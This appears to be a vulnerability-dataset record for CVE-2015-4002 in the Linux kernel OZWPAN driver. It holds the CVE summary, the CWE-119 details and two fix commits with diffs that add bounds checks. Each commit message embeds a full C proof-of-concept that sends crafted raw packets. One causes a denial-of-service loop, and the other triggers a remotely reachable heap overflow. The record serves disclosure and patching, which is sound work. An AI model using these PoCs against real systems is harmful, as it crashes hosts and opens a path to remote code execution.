CVE-2015-4002 (published 2015-06-07T23:59Z)

drivers/staging/ozwpan/ozusbsvc1.c in the OZWPAN driver in the Linux kernel through 4.0.5 does not ensure that certain length values are sufficiently large, which allows remote attackers to cause a denial of service (system crash or large loop) or possibly execute arbitrary code via a crafted packet, related to the (1) oz_usb_rx and (2) oz_usb_handle_ep_data functions.

Severity: HIGH
CVSS v2 base score: 9.0 (AV:N/AC:L/Au:N/C:P/I:P/A:C)

Weakness information:
cwe_id: CWE-119
cwe_name: Improper Restriction of Operations within the Bounds of a Memory Buffer
description: The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
extended_description: 
            Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.
         
         

Fix information:
repo_url: https://github.com/torvalds/linux
commit_details: repo_url: https://github.com/torvalds/linux
author: Jason A. Donenfeld
author_date: 2015-05-29 13:07:01+02:00
msg: ozwpan: unchecked signed subtraction leads to DoS

The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed) - 3
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 1,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
repository: repo_url: https://github.com/torvalds/linux
repo_name: torvalds/linux
description: Linux kernel source tree
repo_language: C
owner: torvalds
file_changes: filename: ozusbsvc1.c
change_type: ModificationType.MODIFY
diff: @@ -326,10 +326,11 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
 			struct oz_multiple_fixed *body =
 				(struct oz_multiple_fixed *)data_hdr;
 			u8 *data = body->data;
-			int n;
-			if (!body->unit_size)
+			unsigned int n;
+			if (!body->unit_size ||
+				len < sizeof(struct oz_multiple_fixed) - 1)
 				break;
-			n = (len - sizeof(struct oz_multiple_fixed)+1)
+			n = (len - (sizeof(struct oz_multiple_fixed) - 1))
 				/ body->unit_size;
 			while (n--) {
 				oz_hcd_data_ind(usb_ctx->hport, body->endpoint,

programming_language: C
repo_url: https://github.com/torvalds/linux
commit_details: repo_url: https://github.com/torvalds/linux
author: Jason A. Donenfeld
author_date: 2015-05-29 13:06:58+02:00
msg: ozwpan: Use proper check to prevent heap overflow

Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.

This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp) - 2
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(0),
			.total_size = htole16(0),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
repository: repo_url: https://github.com/torvalds/linux
repo_name: torvalds/linux
description: Linux kernel source tree
repo_language: C
owner: torvalds
file_changes: filename: ozusbsvc1.c
change_type: ModificationType.MODIFY
diff: @@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
 	case OZ_GET_DESC_RSP: {
 			struct oz_get_desc_rsp *body =
 				(struct oz_get_desc_rsp *)usb_hdr;
-			int data_len = elt->length -
-					sizeof(struct oz_get_desc_rsp) + 1;
-			u16 offs = le16_to_cpu(get_unaligned(&body->offset));
-			u16 total_size =
+			u16 offs, total_size;
+			u8 data_len;
+
+			if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
+				break;
+			data_len = elt->length -
+					(sizeof(struct oz_get_desc_rsp) - 1);
+			offs = le16_to_cpu(get_unaligned(&body->offset));
+			total_size =
 				le16_to_cpu(get_unaligned(&body->total_size));
 			oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
 			oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,

programming_language: C